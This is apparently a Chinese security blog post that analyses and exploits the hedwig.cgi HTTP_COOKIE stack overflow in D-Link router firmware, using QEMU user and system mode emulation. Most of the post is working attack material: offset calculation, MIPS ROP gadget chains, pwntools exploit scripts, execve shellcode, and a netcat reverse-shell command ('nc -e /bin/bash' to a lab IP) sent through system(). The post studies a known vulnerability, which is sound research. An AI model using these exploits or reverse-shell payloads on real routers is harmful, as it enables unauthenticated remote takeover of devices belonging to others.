[TOC]
之前跟着《揭秘家用路由器0day漏洞挖掘技术》调试分析过该漏洞,主要是从qemu用户模式进行分析调试,因为太菜了并没有getshell,在参考了其他师傅的分析文章和帖子后,这次分析增加了qemu系统模式调试,Firmadyne仿真测试以及实体机测试,虽然这次的用户模式还是没能getshell(发这个帖子还是希望有经验的师傅帮忙分析下问题所在),但是其他三种方式都能成功。
Buffer overflow on "hedwig.cgi"
Another buffer overflow affects the "hedwig.cgi" CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
从漏洞公告中可以看出,该漏洞存在于名为"hedwig.cgi"的CGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值,使得程序栈溢出,从而获得路由器的远程控制权限。
binwalk -Me
解压
该漏洞的核心组件为hedwig.cgi,find . -name '*cgi'
查找文件,并ls -l ./htdocs/web/hedwig.cgi
发现hedwig.cgi是指向./htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中。
由之前的漏洞介绍可以知道HTTP_COOKIE
过长导致漏洞,分别用IDA和ghidra打开cgibin这个文件,在string窗口中进行搜索HTTP_COOKIE
可以找到有一个函数,就是sess_get_uid
,我之前有写帖子分析一下这个函数,就是提取HTTP_COOKIE
里面的uid=
之后的部分。交叉引用一下,找到了hedwigcgi_main
函数。
利用Ghidra反汇编hedwigcgi_main
函数,可以定位到其中的sprintf
函数引起了栈溢出。hedwigcgi_main
函数通过sess_get_uid()
获取到HTTP_COOKIE
中uid=
之后的值,并将该内容按照sprintf
函数中格式化字符串给定的形式拷贝到栈中,由于没有检测并限制输入的大小,导致栈溢出。
但是继续往后看该函数中后面还有一个sprintf
函数,第四个参数同样是HTTP_COOKIE
中uid=
后面的内容,这一块按道理来说也可以导致栈溢出。而且如果可以执行该sprintf
函数则能覆盖之前sprintf
函数栈上的内容。
在《揭秘家用路由器0day漏洞挖掘技术》一书中写到,如果在文件系统中手工创建/var/tmp
文件夹,就能够到达第二个sprintf
函数。我对比了下有无/var/tmp
文件夹的返回结果:
无/var/tmp
,返回unable to open temp file。
有/var/tmp
,返回no xml data。
想着往里面写个/temp.xml文件并添加内容就可以了吧,结果发现还是返回no xml data。因为fopen打开该文件的方式是'w',创建一个用于写入的空文件。如果文件名称与已存在的文件相同,则会删除已有文件的内容,文件被视为一个新的空文件。所以只要执行了这条指令文件内容就会被清空,返回值一定是no xml data
,所以利用qemu用户模式这样调试的话,是到不了第二个sprintf
函数。
所以漏洞点是第一个sprintf
函数,挺多帖子也是分析得到第一个sprintf
函数是漏洞点。其实是第一个还是第二个对于用户模式下的调试并没有多大关系,就是偏移不一样罢了,构造rop链方法都是一样的。但是对于真实设备而言,就需要找到真正的漏洞点在哪。
爆肝一晚,参考一个大佬的文章,发现了为什么到达不了第二个sprintf的原因。
还需要POST数据包中包含”uid=……”,否则运行不了下面的代码,
.text:00409AB0 la $t9, sobj_strdup
.text:00409AB4 lw $a0, 4($s0)
.text:00409AB8 jalr $t9 ; sobj_strdup
.text:00409ABC nop
.text:00409AC0 lw $ra, 0x20+var_4($sp)
.text:00409AC4 lui $v1, 0x43 # 'C'
.text:00409AC8 lw $gp, 0x20+var_10($sp)
.text:00409ACC lw $s0, 0x20+var_8($sp)
.text:00409AD0 sw $v0, haystack
.text:00409AD4 jr $ra
.text:00409AD8 addiu $sp, 0x20
从而无法申请一个新的堆空间,这样haystack中值将为0,在运行完第一个sprinf之后会进入loc_4096D4,如果haystack为0将则不会进入loc_4096F0分支,进而跳转不了第二个sprintf()。
.text:004096D4 loc_4096D4: # CODE XREF: hedwigcgi_main+240j .text:004096D4 lw $v0, haystack .text:004096DC nop .text:004096E0 bnez $v0, loc_4096F0 .text:004096E4 lui $v0, 0x42 # 'B' .text:004096E8 b loc_409A64 .text:004096EC addiu $a1, $v0, (aNoXmlData_ - 0x420000) # "no xml data."
如何使POST数据包中包含”uid=……”,看了大佬们的文章还有《0day》那本书中的测试脚本发现,POST具体数据可以通过类似输入流传入 :echo "uid=aaa"| /htdocs/web/hedwig.cgi。然后前提也是需要手工创建'/var/tmp'文件夹。
hedwigcgi_main()在调用get_sess_uid函数前需要设置环境变量REQUEST_METHOD为POST。
cgi程序通过getenv的方式获取HTTP数据包中的数据,整个流程应该为:
主Web程序监听端口->传送HTTP数据包->HTTP报文中headers等数据通过环境变量的方式传给cgi处理程序->cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
漏洞点sprintf函数
sprintf(栈上的内容,"%s/%s/postxml","/runtime/session",uid的内容)uid的内容是由用户控制的,却没有长度限制,而栈空间有限,hedwigcgi_main同时是一个非叶子函数,那么ra一定存在栈上,我们接下来要做的就是覆盖栈空间内的saved ra达到控制程序流程的目的。
整个漏洞利用过程是
利用qemu和IDA进行动态调试,用的是(IDA6.8,qemu2.5)
调试脚本test.sh,其中需要sudo chroot 到文件系统下,然后利用qemu-mipsel-static用户模式进行调试,-E是对应环境变量的参数。-g 指定调试端口,“2> /dev/null” 代表忽略掉错误提示信息。
#/bin/bash test=$(python -c "print 'uid='+open('test','r').read(2000)") LEN=$(echo -n "$test" | wc -c) PORT="23957" cp $(which qemu-mipsel-static) ./qemu sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null rm -f ./qemu
在这之前需要利用patternLocOffset.py生成test文件,包含特定格式的2000个字符串。
python patternLocOffset.py -c -l 2000 -f test
使用IDA调试发现运行到hedwigcgi_main()返回时ra寄存器中的值为0x38694237
python patternLocOffset.py -s 0x38694237 -l 2000
确定缓冲区距离ra的距离为1043。
可以通过修改test.sh中的test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")
进一步确定偏移为1043。
以上是触发第一个sprintf()的偏移。
更改test.sh,在脚本中加入echo "uid=xxx"。
#!/bin/bash #sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('content','r').read()"` INPUT="$1" COOKIE="$2" PORT="23957" LEN=$(echo -n "$INPUT" | wc -c) cp $(which qemu-mipsel-static) ./qemu echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi rm -f ./qemu
执行命令
sudo ./test.sh "uid=1234" `python -c "print 'uid=' + open('content','r').read()"`
调试之后发现确实能够触发第二个sprintf()。
并且覆盖了ra=68423668。
计算得到偏移为1009。
主要目的是调用system('/bin/sh')来getshell,system函数在libc.so中找,参数'/bin/sh'首先放入栈中,然后利用gadget将栈上的'/bin/sh'传入a0寄存器,再调用system函数即可。
1.定位system函数地址
首先需要先找到调用了哪个动态链接库libc.so,然后在libc.so中定位system函数。
通过以下过程:
gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果 set architecture mips target remote :23957 b *0x409A54 #hedwigcgi_main()函数返回jr ra处 c vmmap
为了以后不用每次都输入固定的指令可以编写一个dbgscript
set architecture mips set endian little target remote :23957 b *0x409a54
gdb-multiarch调试的时候执行gdb-multiarch htdocs/cgibin -x dbgscript
,-x是指定要执行的命令文件。
得到libuClibc-0.9.30.1.so的基地址为0x76738000。
找到libuClibc-0.9.30.1.so用IDA打开,system函数在0x53200处。
这样就得到了system函数的真实地址0x76738000+0x53200=0x7678b200。
2.绕过坏字符\x00构造rop链
因为system函数的最低位为\x00,在构造HTTP_COOKIE的时候\x00会被sprintf截断,其实还到不了sprintf函数,前面的sess_get_uid函数只获取uid=之后\x00字符之前的字符串,进而导致缓冲区溢出失败。所以构造shellcode时需要对system函数的真实地址-1:0x7678b200-1=0x7678b1ff,再寻找gadget将其加1即可。
有了system函数,接下来考虑如何将system函数的第一个参数从栈中拷贝到寄存器a0中,在libuClibc-0.9.30.1.so利用mipsrop插件中的mipsrop.stackfinder()
命令查找能将栈中数据放入寄存器的gadget。在0x159cc处发现可将当前栈$sp+0x10处的值存入寄存器s5并跳转至s0。并且在跳转之前将$s5的内容给到$a0,$a0=$(sp+0x10),这样system函数的第一个参数就能从栈中得到了。
继续在libuClibc-0.9.30.1.so中寻找能够将system函数地址+1的gadget,使用mipsrop插件,mipsrop.find("addiu .*,1")
得到31个gadget,找到0x00045988处,这个gadget的作用是将寄存器s0中的值加一,并跳转至s1寄存器中,所以需要将system函数地址减一之后放入s0寄存器中。并将获取第一个参数a0的gadget0x159cc放入s1寄存器中。
到这里我们需要的gadget就找好,由IDA中的汇编代码可以看出我们可以控制数据覆盖ra,fp,s7~s0寄存器。
所以可以这样构造payload,结构大致如下:
这里参考下H4lo师傅的整个流程图:
3.构造的exp如下:
#!/usr/bin/python2 from pwn import * context.endian = "little" context.arch = "mips" base_addr = 0x76738000 system_addr_1 = 0x53200-1 gadget1 = 0x45988 gadget2 = 0x159cc padding = 'A' * 0x3cd padding += p32(base_addr + system_addr_1) # s0 padding += p32(base_addr + gadget2) # s1 padding += 'A' * 4 # s2 padding += 'A' * 4 # s3 padding += 'A' * 4 # s4 padding += 'A' * 4 # s5 padding += 'A' * 4 # s6 padding += 'A' * 4 # s7 padding += 'A' * 4 # fp padding += p32(base_addr + gadget1) # ra padding += 'B' * 0x10 padding += '/bin//sh' f = open("exploit",'wb+') f.write(padding) f.close()
4.测试exp
执行命令:
sudo ./test.sh 'uid=1234' `python -c "print 'uid=' + open('exploit','r').read()"`
使用gdb-multiarch联调发现,确实能够跳转到gadget1处(0x76738000+0x45988=0x7677d988),将s0处的system-1地址加一。
之后顺利进入gadget1处(0x76738000+0x159cc=0x7674d9cc)处,将栈上内容(sp+0x10)先加载到s5,并在跳转s0前将s5中内容传给a0。
进入system处,a0参数为/bin//sh。
继续往下执行,发现执行完system函数返回时被中断了,因为当前指令是从(fp+0x10)处取一个字节给$gp,而当前$fp的内容为0x0空指针,(fp+0x10处)肯定无法访问。
但是在整个rop链运行过程中并没有出现给$fp赋值的操作,所以这块为什么$fp会变成0,变成空指针。这是一个问题,需要解决,应该是还是构造的rop链执行system函数的过程中出现了问题。
接下来考虑利用另一种方式通过调用sleep(1)函数来getshell,至于为什么利用sleep(1)函数呢,参考这篇文章,里面有讲到一个问题就是cache incoherency。MIPS CPUs有两个独立的cache:指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。
整个ROP的调用流程参考H4lo师傅的图。
1.ROP Gadget 1
利用mipsrop.find("li $a0,1")
寻找到0x57E50处,并且返回时跳转至s1寄存器中地址。
可以将ra处覆盖为ra=gadget1=0x57E50+libc_base
。之后寻找第二个gadget2将其放入s1,这里不能直接将sleep函数放入s1中,因为sleep函数运行完jr $ra时,我们控制不了,所以接下来应该是寻找能够控制$ra的gadget2.
2.ROP Gadget 2
利用mipsrop插件中的mipsrop.tail()
该函数作用是Prints a lits of all tail call gadgets (useful for function calls).
打印出所有函数尾部调用的gadget,这些gadget对函数调用很有效。因为非叶子函数尾部一般是将栈中值返回给寄存器然后再跳转。
选择0x3B8A8作为gadget2。
该gadget的作用是将栈上(sp+0x24)处的内容给到寄存器ra,然后再跳转至s2寄存器中,所以s2寄存器就可以放我们需要的sleep函数的地址。这样的话s1=gadget2=0x3B8A8+libc_base
,s2 = sleep+libc_base
。
sleep函数在libuClibc-0.9.30.1.so的偏移为0x56BD0。
3.ROP Gadget 3
执行完sleep函数之后需要控制程序执行栈上shellcode,这里需要用到mipsrop插件的mipsrop.stackfinder()
,将栈上的shellcode地址存储进寄存器中。
找到0x14F28处的gadget3,所以$(sp+0x24)=gadget3
作用是将sp+0x18处的值赋给s1,之后跳转到s4寄存器中的地址。
所以接下来我们需要的gadget4是'move $t9,$s1',跳转到是s1也就是我们的shellcode。
4.ROP Gadget 4
利用mipsrop.find("move $t9,$s1")
找到一下gadget。
这里选择0x1DD08作为gadget4,s4=gadget4=0x1DD08+libc_base
。因为其他的gadget可能导致最后出现坏字符,比如我试了0xBB44,结果真实地址为0xBB44+0x76738000=0x76743b44,然而3b在sess_get_uid的时候就被截断了,所以导致rop没有构造成功。
到这里所有的gadget都找齐了,接下来开始构造exp。
5.构造exp
整个payload是这样的:
这里顺便提下构造exp时有可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(\n换行符)等。具体还要看程序如何处理以及转义。
libc_base = 0x76738000 sleep = 0x56BD0 gadget1 = 0x57E50 gadget2 = 0x3B8A8 gadget3 = 0x14F28 gadget4 = 0x1DD08 # Linux/MIPS - execve /bin/sh - 48 bytes shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1 shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962 shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp) shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873 shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp) shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp) shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1 shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab shellcode += "\x0c\x01\x01\x01" # syscall 0x40404 payload = 'A' * 0x3cd payload += 'A' * 4 # s0 payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2 payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24) payload += 'A' * 4 # s3 payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode payload += 'A' * 4 # s5 payload += 'A' * 4 # s6 payload += 'A' * 4 # s7 payload += 'A' * 4 # fp payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1 payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4 payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding payload += shellcode
调试结果显示能够进入到Shellcode去执行。
但是之后一直出不去,获取不到shell。
所以到目前为止,利用qemu用户模式还没有成功获取shell!!!
我们这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的/bin、/sbin、/usr/bin、/usr/sbin
可以知道/sbin/httpd
应该是用于监听web端口的http服务,同时查看/htdocs/web
文件夹下的cgi文件和php文件,可以了解到接受到的数据通过php+cgi来处理并返回客户端。
find ./ -name '*http*'
找到web配置文件httpcfg.php。
./etc/services/HTTP/httpcfg.php ./etc/services/HTTP/httpsvcs.php ./usr/sbin/httpc ./sbin/httpd
查看httpcf.php
Umask 026 PIDFile /var/run/httpd.pid #LogGMT On #ErrorLog /dev/console Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } <? include "/htdocs/phplib/phyinf.php"; function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404) { echo "Server". "\n". "{". "\n". " ServerName \"".$sname."\"". "\n". " ServerId \"".$uid."\"". "\n". " Family ".$af. "\n". " Interface ".$ifname. "\n". " Address ".$ipaddr. "\n". " Port ".$port. "\n". " Virtual". "\n". " {". "\n". " AnyHost". "\n". " Control". "\n". " {". "\n". " Alias /". "\n". " Location /htdocs/web". "\n". " IndexNames { index.php }". "\n"; if ($uid=="LAN-1"||$uid=="WAN-1") echo " External". "\n". " {". "\n". " /usr/sbin/phpcgi { txt }". "\n". " }". "\n"; if ($widget > 0) echo " External". "\n". " {". "\n". " /usr/sbin/phpcgi { router_info.xml }"."\n". " /usr/sbin/phpcgi { post_login.xml }"."\n". " }". "\n"; echo " }". "\n"; if ($smart404 != "") { echo ' Control'. '\n'. ' {'. '\n'. ' Alias /smart404'. '\n'. ' Location /htdocs/smart404'. '\n'. ' }'. '\n'; } if ($hnap > 0) { echo " Control". "\n". " {". "\n". " Alias /HNAP1". "\n". " Location /htdocs/HNAP1". "\n". " External". "\n". " {". "\n". " /usr/sbin/hnap { hnap }". "\n". " }". "\n". " IndexNames { index.hnap }". "\n". " }". "\n"; } echo " }". "\n". "}". "\n"; } function ssdp_server($sname, $uid, $ifname, $af, $ipaddr) { if ($af=="inet6") return; echo "Server". "\n". "{". "\n". " ServerName \"".$sname."\"". "\n". " ServerId \"".$uid."\"". "\n". " Family ".$af. "\n". " Interface ".$ifname. "\n". " Port 1900". "\n". " Address 239.255.255.250". "\n". " Datagrams On". "\n". " Virtual". "\n". " {". "\n". " AnyHost". "\n". " Control". "\n". " {". "\n". " Alias /". "\n". " Location /htdocs/upnp/docs/".$uid."\n". " External". "\n". " {". "\n". " /htdocs/upnp/ssdpcgi { * }"."\n". " }". "\n". " }". "\n". " }". "\n". "}". "\n". "\n"; } function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port) { if ($af=="inet6") return; echo "Server". "\n". "{". "\n". " ServerName \"".$sname."\"". "\n". " ServerId \"".$uid."\"". "\n". " Family ".$af. "\n". " Interface ".$ifname. "\n". " Address ".$ipaddr. "\n". " Port ".$port. "\n". " Virtual". "\n". " {". "\n". " AnyHost". "\n". " Control". "\n". " {". "\n". " Alias /". "\n". " Location /htdocs/upnp/docs/".$uid."\n". " }". "\n". " }". "\n". "}". "\n". "\n"; } foreach("/runtime/services/http/server") { $model = query("/runtime/device/modelname"); $ver = query("/runtime/device/firmwareversion"); $smart404 = query("/runtime/smart404"); $sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */ $suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver; /* UPnP server name */ $mode = query("mode"); $inf = query("inf"); $ifname = query("ifname"); $ipaddr = query("ipaddr"); $port = query("port"); $hnap = query("hnap"); $widget = query("widget"); $af = query("af"); if ($af!="" && $ifname!="") { if ($mode=="HTTP") http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404); else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr); else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port); } } ?>
可以了解到该php用于生成配置文件,由于我们只需要其中的http服务,可以按照该配置文件改写我们所需的conf。
Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件 Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth0 #对应qemu虚拟机的网卡 Address 192.168.79.143 #对于qemu虚拟机IP Port "1234" #对应未被使用的端口 Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }
接下来利用qemu系统模式仿真路由器的运行环境,具体的配置过程在文章路由器漏洞挖掘环境搭建的qemu网络配置中有提到。
利用下面命令启动,接下来的实验是一次性实验,因为会覆盖qemu虚拟机原本文件系统中的/etc等文件夹从而损坏原有配置,所以无法第二次启动。
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
测试能ping通的情况下,将文件系统利用scp命令拷贝到mipsel虚拟机中。
sudo scp -r squashfs-root [email protected]:/root/
之后编写copy.sh脚本配置启动http服务需要的环境包括动态链接库,以及conf配置文件中提到的/usr/sbin/phpcgi
,/usr/sbin/hnap
。
copy.sh,需要进入squashfs-root目录使用,脚本最后启动了http服务。
#!/bin/bash cp conf / cp sbin/httpd / cp -rf htdocs/ / rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f conf
之后可以在浏览器访问conf文件中配置的192.168.79.143:1234/hedwig.cgi
或者在宿主机中使用以下命令:其中-v显示详细信息,-X指定什么指令,-H 自定义头信息传递给服务器,-b 指定cookie字符串。
#curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh" * Trying 192.168.79.143... * Connected to 192.168.79.143 (192.168.79.143) port 1234 (#0) > POST /hedwig.cgi HTTP/1.1 > Host: 192.168.79.143:1234 > User-Agent: curl/7.47.0 > Accept: */* > Cookie: uid=zh > Content-Length: 8 > < HTTP/1.1 200 OK < Server: Linux, HTTP/1.1, < Date: Sun, 24 May 2020 01:00:46 GMT < Transfer-Encoding: chunked < Content-Type: text/xml < * Connection #0 to host 192.168.79.143 left intact <hedwig><result>FAILED</result><message>no xml data.</message></hedwig>%
然后在mips虚拟机查看log文件:
root@debian-mipsel:~/squashfs-root# cat /log Sun May 24 00:58:11 2020 [1109] *** Mathopd/1.6b9 starting Sun May 24 00:58:20 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/] Sun May 24 00:58:43 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/hedwig.cgi] Sun May 24 00:58:43 2020 [1109] child process 1111 exited with status 255 Sun May 24 00:59:43 2020 [1109] script timeout to 192.168.79.145[52472] Sun May 24 01:00:46 2020 [1109] process_headers: method[POST], nheaders=[4], URL[/hedwig.cgi] Sun May 24 01:00:46 2020 [1109] child process 1112 exited with status 255
到这里可以看到我们需要的web服务器以及启动了。
接下来尝试调试/htdocs/web/hedwig.cgi
文件
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no REQUEST</message></hedwig>root@debian-mipsel:~/squashfs-root#
返回no REQUEST,查看IDA静态反汇编得知没有指定环境变量REQUEST_METHOD
的值。所以想要触发漏洞进行调试的话,还是需要通过export 设置相关环境变量。
root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100" root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded" root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST" root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi" root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234" root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi HTTP/1.1 200 OK Content-Type: text/xml #之前分析过因为没有post数据 <hedwig><result>FAILED</result><message>no xml data.</message></hedwig> root@debian-mipsel:~/squashfs-root#
使用echo 'uid=1234'| /htdocs/web/hedwig.cgi
运行成功。
root@debian-mipsel:~/squashfs-root# echo 'uid=1234'| /htdocs/web/hedwig.cgi root@debian-mipsel:~/squashfs-root#
接下来动态调试确定偏移但是在那之前需要关掉地址随机化,因为qemu的虚拟机内核开启了地址随机化,每次堆的地址都在变化,导致libc的基地址也不断在变,所以需要关闭地址随机化。
echo 0 > /proc/sys/kernel/randomize_va_space
可以编写以下脚本进行动态调试
debug.sh,gdbsever 192.168.79.145是宿主机IP,6666是qemu监听端口。
#!/bin/bash export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="`cat content`" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi
宿主机gdb调试
gdb-multiarch htdocs/cgibin set architecture mips target remote 192.168.79.143:6666 #对应qemu地址和端口 c
得到溢出地址是0x68423668,利用脚本计算偏移为1009
#./patternLocOffset.py -s 0x68423668 -l 2000 [*] Create pattern string contains 2000 characters ok! [*] No exact matches, looking for likely candidates... [+] Possible match at offset 1009 (adjusted another-endian) [+] take time: 0.0007 s
接下来是确定libc的基地址,需要先把环境变量配置好,不然/htdocs/web/hedwig.cgi很快就执行完,进程立马就结束了,就得不到maps。
利用/htdocs/web/hedwig.cgi & cat /proc/pid/maps ,a&b 先执行a,在执行b,无论a成功与否都会执行b。因为关闭了地址随机化,libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。
root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100" root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded" root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234" root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST" root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi" root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps [10] 1052 cat: /proc/pid/maps: No such file or directory root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps [11] 1054 cat: /proc/pid/maps: No such file or directory [10]+ Stopped /htdocs/web/hedwig.cgi root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/1056/maps [12] 1056 00400000-0041c000 r-xp 00000000 08:01 32694 /htdocs/cgibin 0042c000-0042d000 rw-p 0001c000 08:01 32694 /htdocs/cgibin 0042d000-0042f000 rwxp 00000000 00:00 0 [heap] 77f34000-77f92000 r-xp 00000000 08:01 547906 /lib/libc.so.0 77f92000-77fa1000 ---p 00000000 00:00 0 77fa1000-77fa2000 r--p 0005d000 08:01 547906 /lib/libc.so.0 77fa2000-77fa3000 rw-p 0005e000 08:01 547906 /lib/libc.so.0 77fa3000-77fa8000 rw-p 00000000 00:00 0 77fa8000-77fd1000 r-xp 00000000 08:01 546761 /lib/libgcc_s.so.1 77fd1000-77fe1000 ---p 00000000 00:00 0 77fe1000-77fe2000 rw-p 00029000 08:01 546761 /lib/libgcc_s.so.1 77fe2000-77fe7000 r-xp 00000000 08:01 547907 /lib/ld-uClibc.so.0 77ff5000-77ff6000 rw-p 00000000 00:00 0 77ff6000-77ff7000 r--p 00004000 08:01 547907 /lib/ld-uClibc.so.0 77ff7000-77ff8000 rw-p 00005000 08:01 547907 /lib/ld-uClibc.so.0 7ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack] 7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso] [11]+ Stopped /htdocs/web/hedwig.cgi root@debian-mipsel:~/squashfs-root#
上面既然用了两种方法:system和sleep(1),那么下面也使用这两种。
system方法:将上面的exp的libc基地址和偏移改掉然后cmd换成nc -e /bin/bash 192.168.79.145 9999
#!/usr/bin/python2 from pwn import * context.endian = "little" context.arch = "mips" base_addr = 0x77f34000 system_addr_1 = 0x53200-1 gadget1 = 0x45988 gadget2 = 0x159cc cmd = 'nc -e /bin/bash 192.168.79.145 9999' padding = 'A' * 973 #1009-4*9 padding += p32(base_addr + system_addr_1) # s0 padding += p32(base_addr + gadget2) # s1 padding += 'A' * 4 # s2 padding += 'A' * 4 # s3 padding += 'A' * 4 # s4 padding += 'A' * 4 # s5 padding += 'A' * 4 # s6 padding += 'A' * 4 # s7 padding += 'A' * 4 # fp padding += p32(base_addr + gadget1) # ra padding += 'B' * 0x10 padding += cmd f = open("context",'wb') f.write(padding) f.close()
生成的context通过scp拷贝到mips虚拟机中并且nano debug.sh
更改debug.sh
#!/bin/bash export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat context`" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" echo "uid=1234"|/htdocs/web/hedwig.cgi #echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi
在mips虚拟机运行之后在本机nc -vlp 9999,确实能够获取/bin/bash权限。成功了!说明rop链构造是没问题的。
利用sleep(1)调用shellcode
这里的shllcode作用是给指定的IP地址和端口反弹shell,根据文章修改其中的socket反向连接IP,端口没有改变还是31337。
